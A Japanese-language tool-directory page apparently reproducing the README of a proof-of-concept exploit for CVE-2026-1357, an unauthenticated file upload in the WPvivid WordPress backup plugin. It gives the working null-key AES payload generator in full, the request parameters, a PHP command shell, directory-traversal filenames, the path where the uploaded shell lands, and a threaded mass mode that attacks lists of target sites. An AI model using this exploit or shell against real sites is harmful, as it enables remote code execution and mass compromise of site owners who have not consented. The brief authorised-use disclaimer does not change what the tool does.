Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - 未認証の任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/nxploited/cve-2026-1357
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - 未認証の任意ファイルアップロード

リポジトリを見る
15ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🧨 CVE-2026-1357 – WPvivid Null-Key エクスプロイトツール (CVE-2026-1357.py)

移行、バックアップ、ステージング – WPvivid Backup & Migration ≤ 0.9.123
脆弱性: 認証なし任意ファイルアップロード → リモートコード実行
CVE: CVE-2026-1357 – CVSS 9.8(クリティカル)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 このスクリプトの機能

Nxploited

CVE-2026-1357.py は、WPvivid の脆弱性を利用する 概念実証(PoC)エクスプロイトツールです。このツールは、攻撃者による以下の操作を可能にする、欠陥のある AES セッション処理に焦点を当てています。

  1. WPvivid が期待するのと同じ形式で、Null-Key AES/IV(すべてゼロバイト)を使ってペイロードを暗号化する。
  2. 任意のファイル内容(例: PHP シェル)と選択したファイル名/パス(name)をペイロードに埋め込む。
  3. このペイロードを wpvivid_action=send_to_site パラメータ経由で WPvivid エンドポイントに送信する。
  4. (必要に応じて)ファイルが正常に書き込まれ、アクセス可能かどうかを検証する。

このスクリプトは、秘密鍵を直接推測したり悪用したりすることはありません。代わりに、openssl_private_decrypt() の失敗によって phpseclib の AES 暗号が Null-Key で初期化されるという、WPvivid の壊れた処理フローを再現します。


🧠 技術的な内部動作

🔐 AES Null-Key ペイロード

エクスプロイトの核心は gen_wpvivid_payload() にあります。

  • 以下の JSON 構造を構築します。

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • この JSON を(スペースなしのコンパクト形式で)シリアライズします。

  • 次の設定で JSON を暗号化します。

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • その後、以下を先頭に付加します。

    • 3 バイト: "000"(固定長フィールドのプレースホルダー)
    • 16 バイトの大文字 16 進数: 暗号文の長さを "{len(cipher):016X}" としてエンコードした値
  • 最終的な暗号化ブロブは次のようになります。

    root@kitploit:~
    "000" + <16バイトの暗号文長16進数> + <raw AES-CBC暗号文>
    
  • このブロブは Base64 エンコードされ、最終的な wpvivid_content 値として返されます。

関数:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

これは、RSA 復号失敗後に脆弱なコード経路で WPvivid が期待する復号仕様と一致します。


🧰 機能とモード

このスクリプトには 2つの主要モード に加え、一括テスト機能があります。

  1. mood1 – ペイロード生成器

    • Null-Key の仕組みを使った有効な wpvivid_content 値を生成します。
    • ファイル内容を定義する複数の方法に対応しています。
    • ターゲットリストに対して 一括テスト(Mass Tester)を起動することもできます。
  2. mood2 – 単一ターゲットテスト

    • 事前に生成したペイロードを使用します。
    • 単一の ターゲットをエンドツーエンドでテストします。
      • ペイロードを送信します。
      • 想定される結果ファイルの URL を構築します。
      • ファイルにアクセスできるかどうかを検証します。
  3. マスモード(mood1 から起動)

    • 選択したペイロードをリストファイル内の 複数のターゲット に送信します。
    • 並行処理とプログレスバーを使用します。
    • 成功したアップロードを追跡・記録します。

🚦 スクリプトの実行

root@kitploit:~
python3 CVE-2026-1357.py

Rich ベースの UI がバナーとモード選択とともに表示されます。

  • mood1 – ペイロード生成器
  • mood2 – 単一ターゲットテスト

🧪 モード: mood1 – ペイロード生成器

目的

  • 以下の情報をエンコードしたエクスプロイトペイロード(wpvivid_content)を作成します。
    • WPvivid に書き込ませたい ファイルパス/名前
    • ファイル内容(シェル、テストファイルなど)

フロー

  1. モード選択

    プロンプトが表示されたら:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Enter キーを押すか(mood1 がデフォルト)、mood1 と入力します。

  2. ターゲットのファイル名 / パス

    次のように求められます。

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    例:

    • WPvivid バックアップディレクトリにファイルを配置する場合:

      root@kitploit:~
      Nx_.php
      
    • ディレクトリトラバーサルを悪用する場合(ターゲットが許可していれば):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    この値は JSON ペイロードの name フィールドに入ります。

  3. 内容入力モード

    スクリプトはファイル内容を定義する3つの方法を表示します。

    • モード 1: 単一行の内容
    • モード 2: 複数行の内容(EOF で終了)
    • モード 3: ローカルファイルから読み込み(例: shell.php)

    次のように求められます。

オプション: mood1 からのマスモード

ペイロード生成後、スクリプトは次のように尋ねます。

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

y と答えると、作成したペイロードとファイル名を使った マスモード が開始されます。


🌐 マスモード – 複数ターゲット

目的

  • 単一のエクスプロイトペイロード を ターゲットリスト に対してテストします。

フロー

  1. ターゲットファイル

    プロンプト例:

    root@kitploit:~
    Targets list file (one URL per line):
    

    ファイルの期待される形式(例: targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    スクリプトはベース URL を自動的に正規化します(スキームがない場合は追加します)。

  2. スレッド数

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    並列処理するサイト数を制御します。

  3. ターゲットごとのロジック

    各ターゲットについて:

    • URL を正規化 → base_url

    • 呼び出し:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      この関数は:

      • wpvivid_action=send_to_site + wpvivid_content=<payload> の POST を構築します。
      • 調整済みコネクションプール設定の新しいセッションで送信します。
      • レスポンスに {"result":"success"}(コンパクト形式)が含まれるかどうかを確認します。
    • アップロードが成功したと判断された場合:

      • shell_url を次のように構築します。


🧪 モード: mood2 – 単一ターゲットテスト

目的

  • 既存のペイロード(wpvivid_payload.txt または外部ソースから)を 単一の URL に対して使用し、結果のファイルを検証します。

フロー

  1. ターゲット URL

    プロンプト:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    例:

    root@kitploit:~
    https://victim.com
    

    スクリプトはこれを次のようなベースに正規化します。

    root@kitploit:~
    https://victim.com
    
  2. ファイル名

    プロンプト:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    これは、WPvivid が書き込むと 予想される 名前/パスです(ペイロードの name フィールドにエンコードしたものと一致させます)。

  3. ペイロード入力

    プロンプト:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • wpvivid_content=... で始まる行全体を貼り付けた場合、プレフィックスを除去します。
    • Base64 のみを貼り付けた場合、そのまま使用します。
  4. 実行

    スクリプトは:

    • wpvivid_action=send_to_site + 入力した wpvivid_content で POST を送信します。

    • レスポンスが成功を示している場合、次のように構築します。

このモードは、ペイロードを細かく制御しながら 単一サイトの手動/ラボテスト を行うのに最適です。


📁 出力ファイル

  • wpvivid_payload.txt

    • mood1 で書き込まれます。
    • 以下を保存します。
      • file_name=<選択したファイル名>
      • wpvivid_content=<ペイロード>
  • Nx_.txt

    • mood1(マスモード)と mood2 で書き込まれます。
    • アップロードが成功したと見られる 成功したファイルの URL を1行に1つ 含みます(検証済みの場合もあります)。

⚠️ 免責事項

このツールは、以下の目的のみ を意図しています。

  • 管理された環境でのセキュリティ研究。
  • 自分が所有している、または 明示的な書面による許可を得ている システムのテスト。
  • CVE-2026-1357 に対する是正策と検知策の検証。

このスクリプトを使用することで、以下に同意したものとみなされます。

  • 適用されるすべての法律を遵守する責任があること。
  • 適切な許可なしにシステムで使用しないこと。
  • 作者(Nxploited)は、このツールの使用から生じる誤用、損害、法的問題、またはインシデントについて 一切の責任を負わない こと。

自己責任で、そして 正当なセキュリティテストのためだけに 使用してください。


✍️ 作者と連絡先

  • 作成者: Nxploited(Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

アップデート、ツール、セキュリティ研究コンテンツについては、Telegram チャンネルをフォローしてください。
👉 @KNxploited

ツールをダウンロード
root@kitploit:~
Mode [1/2/3] [1]:
  • モード 1 – 単一行

    root@kitploit:~
    Single line content:
    

    入力例:

    root@kitploit:~
    <?php phpinfo();
    
  • モード 2 – 複数行

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    複数行の PHP スクリプトを貼り付けるか入力し、最後に EOF を単独行で入力します。

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • モード 3 – ローカルファイル

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    スクリプトはファイル全体を file_bytes として読み取ります。

  • ペイロード生成

    内容が取得されると、スクリプトは次の処理を行います。

    • JSON オブジェクトを構築します。
    • Null-Key AES-CBC で暗号化します。
    • バイナリブロブをラップします。
    • Base64 エンコードします。

    次のような出力が表示されます。

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    そして wpvivid_payload.txt ファイルが書き込まれます。

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • root@kitploit:~
    f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
    
  • Nx_.txt に保存します。

  • verify_written_file() を試行します。

    • shell_url に GET リクエストを送信します。
    • status_code == 200 の場合、検証済みとしてマークします。
  • エラーが発生した場合:

    • スクリプトは short_reason() で理由を分類します。
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR
  • UI

    • Rich のプログレスバーが全体の進捗と経過時間を表示します。
    • 各サイトは次のように表示します。
      • 成功時: [OK] <shell_url>
      • エラー時: [FAIL] <base> (reason: ...)
      • アップロードは成功した可能性があるが検証に失敗した場合: [!] Not verified (...)
  • root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    そして [OK] とその URL を表示します。

  • 成功した URL を Nx_.txt に追記します。

  • verify_written_file() で検証を試行し、結果を表示します。